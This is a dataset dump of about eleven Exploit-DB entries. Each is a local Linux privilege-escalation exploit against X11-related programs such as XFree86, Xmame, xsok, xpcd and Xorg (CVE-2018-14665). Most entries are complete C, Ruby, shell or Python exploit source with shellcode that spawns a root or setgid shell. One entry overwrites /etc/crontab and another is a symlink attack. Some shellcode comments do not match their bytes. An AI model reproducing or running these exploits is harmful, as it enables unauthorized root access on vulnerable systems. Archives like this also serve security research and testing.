deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23682
Description: XFree86 4.3 - Font Information File Buffer Overflow
Type: local
Platform: linux
Date: 2004-11-10
Author: bender2@lonestar.org

Exploit:
// source: https://www.securityfocus.com/bid/9636/info

It has been reported that the XFree86 X Windows system is prone to a local buffer overflow vulnerability. The issue arises from improper bounds checking when parsing the 'font.alias' file. Successful exploitation of this issue may allow an attacker to gain root privileges to the affected system.

/* For educational purposes only                            */
/* Brought to you by bender2@lonestar.org   11.10.2004      */

#include <fcntl.h>

#define NOPNUM 8000
#define ADRNUM 1058

/* shellcode from LSD */
char setuidcode[]=         /* 8 bytes                        */
    "\x33\xc0"             /* xorl    %eax,%eax              */
    "\x31\xdb"             /* xorl    %ebx,%ebx              */
    "\xb0\x17"             /* movb    $0x17,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

char shellcode[]=          /* 24 bytes                       */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//id"           /* pushl   $0x68732f2f            */
    "\x68""/tmp"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdql                           */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

char jump[]=
    "\x8b\xc4"                /* movl   %esp,%eax           */
    "\xc3"                    /* ret                        */
;


main(int argc,char **argv){
    char buffer[20000],adr[4],pch[4],*b,*envp[4];
    int i,fd;


    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+16000;

    envp[0]=&buffer[2000];
    envp[1]=0;

    printf("adr: 0x%x\n",adr+12000);

    b=buffer;
    strcpy(buffer,"1\n");
    strcat(buffer,"aaaa.pcf -aaaa-fixed-small-a-semicondensed--1-1-1-1-a-1-iso1111-1\n");
    fd=open("/tmp/fonts.dir",O_CREAT|O_WRONLY,0666);
    write(fd,buffer,strlen(buffer));

    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    *b++='\n';

    fd=open("/tmp/fonts.alias",O_CREAT|O_WRONLY,0666);
    write(fd,buffer,strlen(buffer));
    close(fd);

    b=&buffer[2000];
    
for(i=0;i<NOPNUM-strlen(setuidcode)-strlen(setuidcode)-strlen(shellcode);i++) 
*b++=0x90;
    for(i=0;i<strlen(setuidcode);i++) *b++=setuidcode[i];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    *b=0;

    execle("/usr/bin/X11/X","X",":0","-fp","/tmp",0,envp);
}
Exploit-DB #21010
Description: XFree86 X11R6 3.3.2 XMan - ManPath Environment Variable Buffer Overflow
Type: local
Platform: linux
Date: 2001-06-11
Author: kf

Exploit:
source: https://www.securityfocus.com/bid/3030/info

xman is a component included with the XFree86 Window System.

A buffer overflow in the handling of the MANPATH environment variable by xman makes it possible for a local user to execute arbitrary code. By inserting 70000 characters into the MANPATH variable, it is possible to overwrite stack variables, including the return address. xman is SGID man.

This problem makes it possible for a local user to execute arbitrary code, gaining elevated privileges, and potentially root access. 

#!/bin/sh
# example of xman exploitation. xman
# supports privileges.  but, never
# drops them.
# Vade79 -> v9@realhalo.org -> realhalo.org.
MANPATH=~/xmantest/
mkdir -p ~/xmantest/man1
cd ~/xmantest/man1
touch ';runme;.1'
cat << EOF >~/xmantest/runme
#!/bin/sh
cp /bin/sh ~/xmansh
chown `id -u` ~/xmansh
chmod 4755 ~/xmansh
EOF
chmod 755 ~/xmantest/runme
echo "click the ';runme;' selection," \
"exit.  then, check for ~/xmansh."
xman -bothshown -notopbox
rm -rf ~/xmantest
Exploit-DB #71
Description: XGalaga 2.0.34 (RedHat 9.0) - Local Game
Type: local
Platform: linux
Date: 2003-07-31
Author: c0wboy

Exploit:
/* 0x333xgalaga => XGalaga 2.0.34 local game exploit (Red Hat 9.0)
*
* tested against xgalaga-2.0.34-1.i386.rpm
* under Red Hat Linux 9.0
*
* - bug found by Steve Kemp
* - exploit coded by c0wboy @ 0x333
*
* (c) 0x333 Outsider Security Labs / www.0x333.org
*
*/


#include <stdio.h>
#include <string.h>
#include <unistd.h>


#define BIN "/usr/X11R6/bin/xgalaga"
#define SIZE 264

#define RET 0xbffffe2c /* tested against Red Hat Linux 9.0 */
#define NOP 0x90


unsigned char shellcode[] =

/* setregid (20,20) shellcode */
"\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
"\xcd\x80"

/* exec /bin/sh shellcode */

"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";


void banner (void);
void memret (char *, int, int, int);


void banner (void)
{
fprintf (stdout, "\n\n --- xgalaga local GAME exploit by c0wboy ---\n");
fprintf (stdout, " --- Outsiders Se(c)urity Labs / www.0x333.org ---\n\n");
}


void memret (char *buffer, int ret, int size, int align)
{
int i;
int * ptr = (int *) (buffer + align);

for (i=0; i<size; i+=4)
*ptr++ = ret;

ptr = 0x0;
}


int main ()
{
int ret = RET;
char out[SIZE];

memret ((char *)out, ret, SIZE-1, 0);

memset ((char *)out, NOP, 33);
memcpy ((char *)out+33, shellcode, strlen(shellcode));

setenv ("HOME", out, 1);

banner ();
execl (BIN, BIN, "-scores", 0x0); // the switch "-scores" is necessary to exploit the game
}

// milw0rm.com [2003-07-31]
Exploit-DB #19370
Description: Xi Graphics Accelerated X 4.0.x/5.0 - Local Buffer Overflow
Type: local
Platform: linux
Date: 1999-06-25
Author: KSR[T]

Exploit:
// source: https://www.securityfocus.com/bid/488/info

Accelerated-X, also known as Accel-X, is a popular commercial X server available from Xi Graphics. The servers are normally installed setuid root, and contain multiple buffer overflow vulnerabilities. These vulnerabilities were found in the passing of oversized command line arguments to the servers causing the stack to be overwritten and the flow of execution for the Xserver changed. Two of these vulnerabilities is known to be related to the -query argument and the DISPLAY environment variable, upon neither of which is bounds checking performed. The consequence of these vulnerabilities being exploited is local root compromise.

--- SDIaccelX.c ----
/*
* SDI linux exploit for Accelerate-X
* Sekure SDI - Brazilian Information Security Team
* by c0nd0r <condor@sekure.org>
*
* This script will exploit a vulnerability found by KSRT team
* in the Accelerate-X Xserver [<=5.0].
*
* --------------------------------------------------------------------
* The vulnerable buffer was small so we've changed the usual order to:
* [garbage][eip][lots nop][shellcode]
* BTW, I've also changed the code to execute, it will create a setuid
* shell owned by the superuser at /tmp/sh.
* --------------------------------------------------------------------
*
* Warning: DO NOT USE THIS TOOL FOR ILICIT ACTIVITIES! We take no
* responsability.
*
* Greets to jamez, bishop, bahamas, stderr, dumped, paranoia,
* marty (NORDO!), vader, fcon, slide, c_orb and
* specially to my sasazita. Also toxyn.org, pulhas.org,
* superbofh.org (Phibernet rox) and el8.org.
*
* Laughs - lame guys who hacked the senado/planalto.gov.br
* pay some attention to the site: securityfocus.com (good point).
* see you at #uground (irc.brasnet.org)
*/

#include <stdio.h>

/* generic shellcode */
char shellcode[] =
"\xeb\x31\x5e\x89\x76\x32\x8d\x5e\x08\x89\x5e\x36"
"\x8d\x5e\x0b\x89\x5e\x3a\x31\xc0\x88\x46\x07\x88"
"\x46\x0a\x88\x46\x31\x89\x46\x3e\xb0\x0b\x89\xf3"
"\x8d\x4e\x32\x8d\x56\x3e\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xca\xff\xff\xff"
"/bin/sh -c cp /bin/sh /tmp/sh; chmod 6755 /tmp/sh";

main ( int argc, char *argv[] ) {
char buf[1024];
int x, y, offset=1000;
long addr;
int joe;

if (argc > 1)
offset = atoi ( argv[1]);

/* return address */
addr = (long) &joe + offset;

buf[0] = ':';
for ( x = 1; x < 53; x++)
buf[x] = 'X';

buf[x++] = (addr & 0x000000ff);
buf[x++] = (addr & 0x0000ff00) >> 8;
buf[x++] = (addr & 0x00ff0000) >> 16;
buf[x++] = (addr & 0xff000000) >> 24;

for ( ; x < 500; x++)
buf[x] = 0x90;

for ( y = 0; y < strlen(shellcode); y++, x++)
buf[x] = shellcode[y];

fprintf (stderr, "\nSDI Xaccel - Offset: %d | Addr: 0x%x\n\n",
offset, addr);

buf[strlen(buf)] = '\0';

execl ( "/usr/X11R6/bin/Xaccel", "Xaccel", buf, (char *)0);

// setenv ( "EGG", buf, 1);
// system ( "/bin/sh");

}
----- EOF ----------
Exploit-DB #1412
Description: Xmame 0.102 - '-lang' Local Buffer Overflow
Type: local
Platform: linux
Date: 2006-01-10
Author: xwings

Exploit:
#!/usr/bin/ruby

#
# One of the PoC code for xmame "-lang" options.
# Advisory is base on : http://kerneltrap.org/node/6055
#
# by xwings at mysec dot org
# url : http://www.mysec.org , new website

# Tested on :
# Linux debian24 2.4.27-2-386 #1 Mon May 16 16:47:51 JST 2005 i686 GNU/Linux
# gcc version 4.0.3 20060104 (prerelease) (Ubuntu 4.0.2-6ubuntu1)
# xmame 0.102 , ./configure && make && make install
#


#setreuid(geteuid(),geteuid()) execl(); executes /bin//sh 49 bytes.
shellcode =     "\x31\xc9\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0"+
                "\x46\xcd\x80\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"+
                "\x6e\x89\xe3\x51\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xb0\x01"+
                "\x31\xdb\xcd\x80"

vulnpath        = "/usr/games/xmame.x11"
argvopt         = "-lang"

ret = (0xbfffe8da) 
retadd  = ([ret].pack('V'))

nops    = ("\x90" * (1056 - (shellcode.length + retadd.length)))
buffer  = nops+shellcode+retadd

system(vulnpath,argvopt,buffer)

# milw0rm.com [2006-01-10]
Exploit-DB #1415
Description: Xmame 0.102 - 'lang' Local Buffer Overflow
Type: local
Platform: linux
Date: 2006-01-13
Author: Qnix

Exploit:
/*
	Xmame 0.102 (-lang) Local Buffer Overflow Exploit
	Coded BY Qnix
		 Qnix@bsdmail.org
		 #0x11 @EFNET
		 icq : 234263
		 0x11.org
	Advisory : http://kerneltrap.org/node/6055

e.g: 

Qnix ~ # ./exploit /usr/games/bin/xmame.x11
**************************************************
Xmame 0.102 (-lang) Local Buffer Overflow Exploit
Coded BY Qnix
**************************************************

        (~) Stack pointer (ESP) : 0xbffff688
        (~) Offset from ESP     : 0x0
        (~) Desired Return Addr : 0xbffff688

GLINFO: loaded OpenGL library libGL.so!
GLINFO: loaded GLU    library libGLU.so!
GLINFO: glPolygonOffsetEXT (2): not implemented !
info: trying to parse: /usr/share/games/xmame/xmamerc
info: trying to parse: /root/.xmame/xmamerc
info: trying to parse: /usr/share/games/xmame/xmame-x11rc
info: trying to parse: /root/.xmame/xmame-x11rc
info: trying to parse: /usr/share/games/xmame/rc/robbyrc
info: trying to parse: /root/.xmame/rc/robbyrc
sh-3.00#

*/

#include <stdio.h>
#include <stdlib.h>

#define BUFSIZE 1057
#define NS	600

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void)
{ __asm__("movl %esp, %eax");}

int main(int argc, char *argv[])
{
	int i, offset;
	long esp, ret, *addr_ptr;
	char *buffer, *ptr;

	offset = 0;
	esp = sp();
	ret = esp - offset;

	if(argc < 2 || argc != 2)
	{
		fprintf(stderr,"%s <xmam.x11>\n",argv[0]);
		return(0);
	}

	fprintf(stdout,"**************************************************\n");
	fprintf(stdout,"Xmame 0.102 (-lang) Local Buffer Overflow Exploit\n");
	fprintf(stdout,"Coded BY Qnix\n");
	fprintf(stdout,"**************************************************\n\n");
	fprintf(stdout,"\t(~) Stack pointer (ESP) : 0x%x\n", esp);
	fprintf(stdout,"\t(~) Offset from ESP     : 0x%x\n", offset);
	fprintf(stdout,"\t(~) Desired Return Addr : 0x%x\n\n", ret);

	buffer = malloc(BUFSIZE);

	ptr = buffer;
	addr_ptr = (long *) ptr;
	for(i=0; i < BUFSIZE; i+=4)
	{ *(addr_ptr++) = ret; }

	for(i=0; i < NS; i++)
	{ buffer[i] = '\x90'; }

	ptr = buffer + NS;
	for(i=0; i < strlen(shellcode); i++)
	{ *(ptr++) = shellcode[i]; }

	buffer[BUFSIZE-1] = 0;

	execl(argv[1], "xmame.x11", "-lang", buffer, 0);

	free(buffer);

	return(0);

}

// milw0rm.com [2006-01-13]
Exploit-DB #22703
Description: XMame 0.6x - Lang Local Buffer Overflow
Type: local
Platform: linux
Date: 2003-03-31
Author: Gabriel A. Maggiotti

Exploit:
// source: https://www.securityfocus.com/bid/7773/info

Xmame is prone to a locally exploitable buffer overflow. This is due to insufficient bounds checking of the command line parameter used to specify language settings (--lang). Successful exploitation on some systems could result in execution of malicious instructions with elevated privileges. 

/*
---------------------------------------------------------------------------
Web:  http://qb0x.net                   Author: Gabriel A. Maggiotti
Date: March 31, 2003  	                E-mail: gmaggiot@ciudad.com.ar
---------------------------------------------------------------------------
*/

#include <stdio.h>

#define OFFSET 1058
#define NOP 0x90 
#define NOP1 'B' 
#define RET_70 0xbfffee00  
#define RET_72 0xbfffedf0  

int
main(int argc, char *argv[])
{
int i=0; char buf[OFFSET];
int c, ret;

unsigned char shellcode1[] =
"\x33\xDB\x33\xC0\xB0\x1B\xCD\x80" // alarm(0);
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" // setuid(0);
"\x31\xc0\x50\x50\xb0\xb5\xcd\x80" // setgid(0);
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";


	if(argc != 2) {
		fprintf(stderr,"usage: %s <os_type> \n",argv[0]);
		fprintf(stderr,"types:\n RedHat 7.0 - [1]");
		fprintf(stderr,"\n RedHat 7.2 - [2]\n\n");
		return 1;
	}
	
	c=atoi(argv[1]);

	switch(c) {
		case 1:
			printf("Exploiting compress for RedHat 7.0\n");
			ret = RET_70 - OFFSET;
			break;	
		case 2:
			printf("Exploiting compress for RedHat 7.2\n");
			ret = RET_72 - OFFSET;
			break;	
	}

	for(i=0;i<=OFFSET-1 ;i++)
		buf[i]=NOP;
	for(i=OFFSET-301;i<=OFFSET-1 ;i+=4)
	*(int *) &buf[i++] = ret;
	memcpy(buf+200,shellcode1,strlen(shellcode1));
	execl("/usr/local/bin/xmame.x11", "/usr/local/bin/xmame.x11","--lang", buf, NULL);

return 0;
}

/*
---------------------------------------------------------------------------
research-list@qb0x.net is dedicated to interactively researching vulnerab-
ilities, report potential or undeveloped holes in any kind of computer system.
To  subscribe to   research-list@qb0x.ne t send a blank  email  to 
research-list-subscribe@qb0x.net. More help  available  sending an email
to research-list-help@qb0x.net.
Note: the list doesn't allow html, it will be stripped from messages. 
---------------------------------------------------------------------------
*/
Exploit-DB #38298
Description: xNBD - '/tmp/xnbd.log' Insecure Temporary File Handling
Type: local
Platform: linux
Date: 2013-02-06
Author: Sebastian Pipping

Exploit:
source: https://www.securityfocus.com/bid/57784/info

xNBD is prone to a vulnerability because it handles temporary files in an insecure manner. 

Local attackers may leverage this issue to perform symbolic-link attacks in the context of the affected application. Other attacks may also be possible.

$ ln -s "${HOME}"/ATTACK_TARGET /tmp/xnbd.log

  $ touch DISK
  $ truncate --size=$((100*1024**2)) DISK

  $ /usr/sbin/xnbd-server --daemonize --target DISK
  xnbd-server(12462) msg: daemonize enabled
  xnbd-server(12462) msg: cmd target mode
  xnbd-server(12462) msg: disk DISK size 104857600 B (100 MB)
  xnbd-server(12462) msg: xnbd master initialization done
  xnbd-server(12462) msg: logfile /tmp/xnbd.log

  $ ls -l ~/ATTACK_TARGET
  -rw------- 1 user123 user123 653 Feb  1 16:41 \
    /home/user123/ATTACK_TARGET
Exploit-DB #45832
Description: xorg-x11-server < 1.20.1 - Local Privilege Escalation
Type: local
Platform: linux
Date: 2018-11-13
Author: bolonobolo

Exploit:
# Exploit Title: xorg-x11-server < 1.20.1 - Local Privilege Escalation (RHEL 7)
# Date: 2018-11-07
# Exploit Author: @bolonobolo
# Vendor Homepage: https://www.x.org/
# Version: 1.19.5
# Tested on: RHEL 7.3 && 7.5
# CVE : CVE-2018-14665
# Explanation
# The only condition that have to be met for this PE to work via SSH, is that the legitimate non-root user 
# has to be logged in trought console at the moment the PE script launched.
# In fact during the logged in session of the legitimate non-root user, 
# a file with the name of the non-root user will be created in the /var/run/console folder. 
# With that file present, the same non-root user can launch a Xorg command via SSH. 
# 
# Usage: $ python poc.py
# $ python poc.py 
# [*] Waiting for bolo to connect to the console
# [*] OK --> bolo console opened
# [*] Building root shell wait 2 minutes
# [*] crontab overwritten
# 
# ... cut Xorg output ...
# 
# [*] Xorg killed
# (II) Server terminated successfully (0). Closing log file.
# [*] Don't forget to cleanup /etc/crontab and /tmp dir
# sh-4.2# id && whoami
# uid=0(root) gid=0(root) gruppi=0(root),1001(bolo)
# root
# sh-4.2#


#!/usr/bin/python
import os
import getpass
import subprocess

userList = []
path="/var/run/console/"

def getWhoami():
	return getpass.getuser()

def getConsole(path):
	p = subprocess.Popen(["ls", path], stdout=subprocess.PIPE)
	(console, err) = p.communicate()
	consoleList = str.splitlines(console)
	return consoleList

def payload():
	f = open("/tmp/payload", "w")
	payload = ("cp /bin/sh /usr/local/bin/shell\n" 
			"echo \"#include <stdio.h> \" > /tmp/shell.c\n"
   			"echo \"#include <stdlib.h>\" >> /tmp/shell.c\n"
   			"echo \"#include <sys/types.h>\" >> /tmp/shell.c\n"
   			"echo \"#include <unistd.h>\" >> /tmp/shell.c\n"
			"echo 'int main(){setuid(0);setgid(0);system(\"/bin/sh\");}' >> /tmp/shell.c\n"
			"gcc /tmp/shell.c -o /usr/local/bin/shell\n"
			"chmod 4777 /usr/local/bin/shell\n")
	f.write(payload)	
	
def executePayload():	
	os.system("chmod +x /tmp/payload")
	os.system("cd /etc; Xorg -fp \"* * * * * root /tmp/payload\" -logfile crontab :1 &")
	print "[*] crontab overwritten"
	os.system("sleep 5")
	os.system("pkill Xorg")
	print "[*] Xorg killed"
	os.system("sleep 120")
	return

def main():
	whoami = getWhoami()
	print "[*] Waiting for " + whoami + " to connect to the console"
	i = 0
	while (i == 0):
		consoleList = getConsole(path)
		for user in consoleList:
			if user == whoami :
				print "[*] OK --> " + user + " console opened"
				i = 1
	print "[*] Building root shell wait 2 minutes"
	payload()
	executePayload()
	print "[*] Don't forget to cleanup /etc/crontab and /tmp dir"
	os.system("/usr/local/bin/shell")			

if __name__ == '__main__':
	main()
Exploit-DB #22996
Description: XPCD 2.0.8 - 'HOME Environment' Local Buffer Overflow
Type: local
Platform: linux
Date: 2003-07-18
Author: r-code

Exploit:
// source: https://www.securityfocus.com/bid/8370/info

A problem in the handling of long strings in environment variables by xpcd may result in a buffer overflow condition. This may allow an attacker to gain unauthorized access to system resources.

/**************************************************************************** 
 * xpcd 2.0.8 [latest] exploit written by r-code [Elite FXP Team] * 
 * * 
 * Actually xpcd usually isn`t suid, therefore for most of you * 
 * this exploit will be useless, on the other hand, maybe on some * 
 * conditions someone sets +S (who knows... ;-) * 
 * * 
 * Greetz to: czarny,|stachu|, Nitro, Zami, Razor, Jedlik, Cypher * 
 * Flames to: ElSiLaSoF - fucking kiddie.. * 
  
****************************************************************************/ 


#include <stdio.h> 
#include <unistd.h> 
#include <stdlib.h> 


unsigned long int get_sp(void) { 
  __asm__("movl %esp,%eax"); 
} 


char shellcode[] = 


"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x60\x80\x36" 
"\x01\x46\xe2\xfa\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01" 
"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\x83\x10" 
"\x01\x01\xc6\x44\xfd\x01\x01\x01\x01\x8c\xba\x63\xef\xfe\xfe\x88\x7c\xf9\xb9" 
"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01" 
"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x5a\x5f\x5e\xc8\xc2\x8c\x77\x01" 
"\x91\x91\x91\x91"; 



#define LEN 280 
#define DEFAULT_OFFSET 530 
#define PATH "/usr/local/bin/xpcd" 


int main(int argc,char **argv) { 
  register int i; 
  char *evilstr=0,*str=0,*e=0; 
  unsigned long int retaddr=0,offset=DEFAULT_OFFSET,*ptr=0; 
   
  printf("[=] xpcd0x01 exploit written by r-code d_fence(at)gmx(dot)net 
[ELITE FXP TEAM]\n"); 
  printf("[=] Greetz to: czarny,|stachu|, Nitro, Zami, Razor, Jedlik, 
Cypher\n"); 
  printf("[=] Flames to: ElSiLaSoF - fucking kiddie.\n\n"); 
   
   
  if(argc>1) 
    offset=atoi(argv[1]); 
   
  retaddr=get_sp() - offset; 
   
  printf("iNFO:) esp: 0x%x offset: 0x%x ret_addr: 
0x%x\n",get_sp(),offset,retaddr); 
  printf("iNFO:) If Doesn`t work, try with OFFSETS 400 - 600\n\n"); 
   
  evilstr=(char *)malloc(LEN); 
  e=(char *)malloc(LEN+10); 
  ptr=(unsigned long int *)evilstr; 
   
  for(i=0;i<(LEN);) { 
    evilstr[i++] = (retaddr & 0x000000ff); 
    evilstr[i++] = (retaddr & 0x0000ff00) >> 8; 
    evilstr[i++] = (retaddr & 0x00ff0000) >> 16; 
    evilstr[i++] = (retaddr & 0xff000000) >> 24; 
  } 
   
  memset(evilstr,'A',(LEN/2)); 
   
  for(i=0;i<strlen(shellcode);i++) 
    evilstr[(LEN/2)-(strlen(shellcode)/2)+i]=shellcode[i]; 
   
  evilstr[LEN]=0x00; 
  memcpy(e,"HOME=",5); 
  memcpy(e+5,evilstr,LEN); 
  putenv(e); 
  execl(PATH,"xpcd",NULL); 
   
}
Exploit-DB #23510
Description: XSOK 1.0 2 - 'LANG Environment' Local Buffer Overrun
Type: local
Platform: linux
Date: 2003-12-30
Author: N2n-Hacker

Exploit:
// source: https://www.securityfocus.com/bid/9341/info

xsok is prone to a locally exploitable buffer overrun vulnerability due to insufficient bounds check of data supplied through the LANG environment variable. This could be exploited to execute arbitrary code with elevated privileges. The program is typically installed setgid games. 

/*
xsok 1.02 local game exploit
coded by n2n, n2n<at>linuxmail.org
Eye on Security Research Group, India http://www.eos-india.net
This exploit calculates the return address automatically.
Also the shellcode is improved and automatically gets the effective uid and gid of the vulnerable binary.
Tested on Redhat Linux 9.0
*/

#define VULN "/usr/X11R6/bin/xsok"
#define BUFLEN	100
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

/* shellcode by me, n2n@linuxmail.org */
char *shellcode=
	/* setreuid(geteuid(),geteuid()), no use unless xsok is setuid, usually its only setgid games */
	"\x31\xc0\xb0\x31\xcd\x80\x93\x89\xd9\x31\xc0\xb0\x46\xcd\x80"
	/* setregid(getegid(),getegid()) */
	"\x31\xc0\xb0\x32\xcd\x80\x93\x89\xd9\x31\xc0\xb0\x47\xcd\x80"
	/* exec /bin/sh */
	"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
	/* exit() */
	"\x31\xdb\x89\xd8\xb0\x01\xcd\x80";

int main(int argc, char **argv)
{
	char exploit[BUFLEN+5];
	unsigned long addr_ret = 0xc0000000 - 4;
	char *arg0 = VULN;
	int i;
	if (argc > 2) {
		fprintf(stderr, "Usage: %s [PROG]\n", argv[0]);
		return 1;
	}
	if (argc > 1)
		arg0 = argv[1];
	addr_ret -= strlen(arg0) + 1;
	addr_ret -= strlen(shellcode) + 1; 
	setenv("EGG",shellcode,1);	
	for(i=0;i<BUFLEN;i+=4)
		*(unsigned int *)(exploit+i)=addr_ret;
	exploit[i]=0x0;
	setenv("LANG",exploit,1);
	printf("Using RET=%p\n",addr_ret);
	execl(arg0,arg0,NULL);
	printf("\n");
	return 1;
}